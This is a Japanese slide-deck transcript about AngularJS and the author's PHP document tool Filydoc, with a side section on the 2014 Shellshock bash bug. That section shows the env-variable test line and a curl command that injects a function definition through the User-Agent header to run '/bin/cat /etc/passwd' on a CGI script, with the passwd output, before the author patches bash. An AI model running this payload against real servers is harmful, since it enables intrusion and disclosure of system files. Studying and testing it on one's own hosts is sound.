Angular js活用事例:filydoc
-
Upload
keiichi-kobayashi -
Category
Technology
-
view
435 -
download
0
description
Transcript of Angular js活用事例:filydoc
![Page 1: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/1.jpg)
AngularJS活用事例(?)@kobayan_tokyo
![Page 2: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/2.jpg)
自己紹介
Twitter: @kobayan_tokyo GitHub: kobakeWeb site: http://clock-up.jp
元ゲーム屋
現Web屋、現ゲーム屋手伝い、現講師
![Page 3: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/3.jpg)
HTML5で何ができる…?
キャンバスとか・・
カメラとか・・
音とか・・
P2Pとか・・
加速度とか・・
Storageとか・・
![Page 4: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/4.jpg)
HTML5で廃止されるタグ
出典:http://www.htmq.com/html5/002.shtml
<acronym> <applet> <basefont> <bgsound> <big> <blink> <center>
<dir> <font> <frame> <frameset>
<isindex> <listing> <marquee> <nobr> <noembed> <noframes> <plaintext> <rb> <spacer> <strike> ation: line-throughで指定
<tt> <u> <xmp>
![Page 5: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/5.jpg)
frameサイトの危機
http://homepage3.nifty.com/abe-hiroshi/
![Page 7: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/7.jpg)
AngularJSを使う
$location … URLをゴニョる
![Page 8: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/8.jpg)
AngularJSを使う
とりあえずどこかのへんを全読したような記憶
AngularJS入門 | AngularJS 1.2 日本語リファレンス | js STUDIOhttp://js.studio-kingdom.com/angularjs/guide/introduction
AngularJS Startup Advent Calendar 2013 - Qiitahttp://qiita.com/advent-calendar/2013/angularjs-startup
依存性注入とか諸々勉強になりました。
![Page 9: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/9.jpg)
そんなことよりbashが怖い
出典:http://japan.cnet.com/news/service/35054245/
> 「Bourne Again SHell(Bash)」に重大なセキュリ
ティホールが発見された。…ハッカーは特別に作
成した変数を用いてセキュリティホールを突き、
シェルコマンドを実行できる
![Page 10: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/10.jpg)
そんなことよりbashが怖い
出典:https://x86-64.jp/blog/CVE-2014-6271
$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
もし出力の中にmanukeが含まれていたら、そのホストは今回発表
された脆弱性に対して危険な状態です。
![Page 11: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/11.jpg)
試してみた
$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
manukeHi
![Page 12: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/12.jpg)
試してみた
$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
manukeHi
![Page 13: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/13.jpg)
みんな脅してくる(☍﹏⁰)https://x86-64.jp/blog/CVE-2014-6271system()や類似の関数を用いたCGIスクリプトは、OSコマンド実行のために
bashを呼び出しているかもしれません。
http://techblog.clara.jp/2014/09/bash-vulnerability-vol1-verification/想定例としては、ApacheなどのWebサーバ上にある cgi 等へ、問題のコー
ドを環境変数として引き渡すと、任意のコマンドが実行できてしまうことでしょ
うか。
![Page 14: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/14.jpg)
実はFilydocは内部的にgrep呼んでたり
// 起動コマンドの構築
$dir_path = DATA_ROOT;$cmd = "grep "
. " " . "-R -i -n --" // recursive, ignore case, line number
. " " . escapeshellarg($keyword)
. " " . escapeshellarg($dir_path);
// grep起動
$handle = popen($cmd, 'r');$webpathItems = array();
![Page 15: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/15.jpg)
(`ェ´)ピャー
(`ェ´)ピャー
![Page 16: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/16.jpg)
(`ェ´)ピャー?
結論:特に問題はなかった
![Page 17: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/17.jpg)
一応実験
xxx.cgi----------------------#!/bin/shecho "Content-Type: text/html"echo ""echo "test"----------------------
![Page 18: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/18.jpg)
(`ェ´)ピャー!!!!!!!!!!!!$ curl -A "() { :;}; echo Content-type:text/plain;echo; /bin/cat /etc/passwd " "http://xxx/xxx.cgi"root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/sync…
![Page 19: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/19.jpg)
でも怖いから(`ェ´)ピャー
# yum update bash…===============================================Updating: bash x86_64 4.1.2-15.el6_5.1 updates 905 k===============================================…Upgrade 1 Package(s)Total download size: 905 kIs this ok [y/N]: y
![Page 20: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/20.jpg)
(´∀`)
$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'bash: warning: AHO: ignoring function definition attemptbash: error importing function definition for `AHO'Hi
![Page 21: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/21.jpg)
おまけ程度に
Filydocの紹介
![Page 22: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/22.jpg)
ドキュメント整理をもっと速く速く
・ブログ…遅い
・wiki…遅い
![Page 23: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/23.jpg)
ドキュメント整理をもっと早く早く
・ブログ…遅い
・wiki…遅い
何故か?
![Page 24: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/24.jpg)
何故遅いのか?
Webだからさ・ネットワーク遅延が地味にストレス
・編集インターフェースがサービス依存
(C)ガンダム
![Page 25: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/25.jpg)
30倍速いドキュメント整理
ネイティブファイル…速い&柔軟
(C)ガンダム
![Page 26: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/26.jpg)
ネイティブファイル最強説
・ネットワーク遅延という概念がない
・フォルダにポイポイ移動できる
・好きなエディタでポイポイ編集できる
・好きなツールでポイポイ変換できる
・sedで置換とかできる
・gitとかでポイポイ管理できる
![Page 27: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/27.jpg)
切実な場面
・ドキュメント数が数百に達した
![Page 28: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/28.jpg)
作ったもの:Filydochttp://filydoc.net/https://github.com/kobake/filydochttp://memo.clock-up.jp/http://blog.clock-up.jp/entry/2014/07/07/filydoc
![Page 29: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/29.jpg)
コンテンツ編集風景
![Page 30: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/30.jpg)
対応フォーマット
・Plain text・Markdown・Java・PHP
![Page 31: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/31.jpg)
強み
・ネイティブファイル
・フォルダがそのままツリー構造になる
・フツーのレンタルサーバで使える
・全文検索、クイックフィルタ
・閲覧UXもそこそこ高速感がある
・パンくず
![Page 32: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/32.jpg)
構成とか
言語など
・生PHP (フツーのレンタルサーバで使える!!)・AngularJS
高速化
・ツリー状態をシリアライズしてまるっとキャッシュ
![Page 33: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/33.jpg)
最近追加した機能
・URL自動リンク&自動タイトル表示
・GitHubログインしてコンテンツ直編集
![Page 34: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/34.jpg)
課題(issues)・Html format support・Plain text support (済)・Editing content on web browser (済)
![Page 35: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/35.jpg)
追加技術
・SQLite (URLタイトルのキャッシュに使用) … フツーのレンタルサーバで動くか不安なので
代替手段も準備予定。
![Page 36: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/36.jpg)
PHPの強み
・結局どこのサーバでも実行できる
![Page 37: Angular js活用事例:filydoc](https://reader033.fdocument.pub/reader033/viewer/2022052600/5585b186d8b42a49548b45ca/html5/thumbnails/37.jpg)
ご清聴
ありがとうございました